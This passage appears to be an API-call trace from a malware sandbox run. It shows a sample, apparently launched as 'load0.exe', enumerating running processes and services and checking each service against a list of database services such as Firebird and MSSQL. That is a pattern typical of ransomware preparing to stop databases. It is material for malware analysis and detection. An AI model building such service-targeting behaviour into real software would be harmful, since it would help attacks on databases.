[0240.809] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0240.809] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0240.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0240.810] lstrlenW (lpString="StateRepository") returned 15 [0240.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0240.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0240.810] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0240.810] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0240.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0240.810] lstrlenW (lpString="SysMain") returned 7 [0240.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0240.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0240.810] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0240.810] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0240.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0240.810] lstrlenW (lpString="SystemEventsBroker") returned 18 [0240.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0240.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0241.015] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0241.015] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0241.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0241.015] lstrlenW (lpString="Themes") returned 6 [0241.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0241.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0241.015] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0241.015] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0241.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0241.015] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0241.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0241.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0241.015] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0241.015] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0241.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0241.015] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0241.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0241.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0241.015] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0241.015] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0241.015] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x705c10 | out: hHeap=0x630000) returned 1 [0241.015] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1008 [0241.022] Process32FirstW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.023] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0241.023] lstrlenW (lpString="System") returned 6 [0241.023] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0241.024] lstrlenW (lpString="smss.exe") returned 8 [0241.024] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.025] lstrlenW (lpString="csrss.exe") returned 9 [0241.025] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0241.026] lstrlenW (lpString="wininit.exe") returned 11 [0241.026] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.027] lstrlenW (lpString="csrss.exe") returned 9 [0241.027] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0241.027] lstrlenW (lpString="winlogon.exe") returned 12 [0241.027] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0241.028] lstrlenW (lpString="services.exe") returned 12 [0241.028] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0241.029] lstrlenW (lpString="lsass.exe") returned 9 [0241.029] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0241.030] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0241.030] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0241.031] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0241.031] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.032] lstrlenW (lpString="svchost.exe") returned 11 [0241.032] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.032] lstrlenW (lpString="svchost.exe") returned 11 [0241.032] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0241.033] lstrlenW (lpString="dwm.exe") returned 7 [0241.033] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.034] lstrlenW (lpString="svchost.exe") returned 11 [0241.034] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.035] lstrlenW (lpString="svchost.exe") returned 11 [0241.035] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.035] lstrlenW (lpString="svchost.exe") returned 11 [0241.035] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.036] lstrlenW (lpString="svchost.exe") returned 11 [0241.036] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.037] lstrlenW (lpString="svchost.exe") returned 11 [0241.037] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.038] lstrlenW (lpString="svchost.exe") returned 11 [0241.038] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.038] lstrlenW (lpString="svchost.exe") returned 11 [0241.038] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.039] lstrlenW (lpString="svchost.exe") returned 11 [0241.039] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.040] lstrlenW (lpString="svchost.exe") returned 11 [0241.040] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.041] lstrlenW (lpString="svchost.exe") returned 11 [0241.041] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0241.041] lstrlenW (lpString="spoolsv.exe") returned 11 [0241.041] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.042] lstrlenW (lpString="svchost.exe") returned 11 [0241.042] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0241.043] lstrlenW (lpString="audiodg.exe") returned 11 [0241.043] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0241.044] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0241.044] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0241.044] lstrlenW (lpString="Memory Compression") returned 18 [0241.044] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0241.045] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0241.045] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0241.046] lstrlenW (lpString="taskhostw.exe") returned 13 [0241.046] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0241.047] lstrlenW (lpString="sihost.exe") returned 10 [0241.047] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.047] lstrlenW (lpString="svchost.exe") returned 11 [0241.047] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0241.048] lstrlenW (lpString="taskhostw.exe") returned 13 [0241.048] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0241.049] lstrlenW (lpString="msoia.exe") returned 9 [0241.049] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0241.050] lstrlenW (lpString="explorer.exe") returned 12 [0241.050] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0241.050] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0241.050] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0241.051] lstrlenW (lpString="SearchUI.exe") returned 12 [0241.051] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0241.052] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0241.052] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0241.052] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0241.052] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0241.053] lstrlenW (lpString="load0.exe") returned 9 [0241.053] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0241.054] lstrlenW (lpString="cmd.exe") returned 7 [0241.054] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0241.055] lstrlenW (lpString="conhost.exe") returned 11 [0241.055] Process32NextW (in: hSnapshot=0x1008, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0241.055] CloseHandle (hObject=0x1008) returned 1 [0241.055] Sleep (dwMilliseconds=0x1f4) [0241.722] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6e3e38 [0241.722] EnumServicesStatusExW (in: hSCManager=0x6e3e38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0241.723] GetLastError () returned 0xea [0241.723] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1bc4) returned 0x3ef0078 [0241.723] EnumServicesStatusExW (in: hSCManager=0x6e3e38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ef0078, cbBufSize=0x1bc4, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ef0078, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0241.724] CloseServiceHandle (hSCObject=0x6e3e38) returned 1 [0241.724] lstrlenW (lpString="AppXSvc") returned 7 [0241.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0241.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0241.724] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0241.724] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0241.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0241.724] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0241.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0241.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0241.724] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0241.724] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0241.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0241.724] lstrlenW (lpString="Audiosrv") returned 8 [0241.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0241.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0241.725] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0241.725] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0241.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0241.725] lstrlenW (lpString="BFE") returned 3 [0241.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0241.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0241.725] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0241.725] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0241.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0241.725] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0241.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0241.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0241.725] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0241.725] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0241.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0241.725] lstrlenW (lpString="CDPSvc") returned 6 [0241.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0241.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0241.725] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0241.725] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0241.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0241.725] lstrlenW (lpString="ClickToRunSvc") returned 13 [0241.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0241.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0241.725] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0241.725] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0241.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0241.726] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0241.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0241.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0241.726] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0241.726] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0241.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0241.726] lstrlenW (lpString="CryptSvc") returned 8 [0241.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0241.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0241.726] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0241.726] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0241.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0241.726] lstrlenW (lpString="DcomLaunch") returned 10 [0241.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0241.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0241.726] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0241.726] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0241.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0241.726] lstrlenW (lpString="DeviceAssociationService") returned 24 [0241.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0241.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0241.726] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0241.726] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0241.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0241.726] lstrlenW (lpString="Dhcp") returned 4 [0241.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0241.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0241.726] lstrcmpiW (lpString1="sqlwriter", 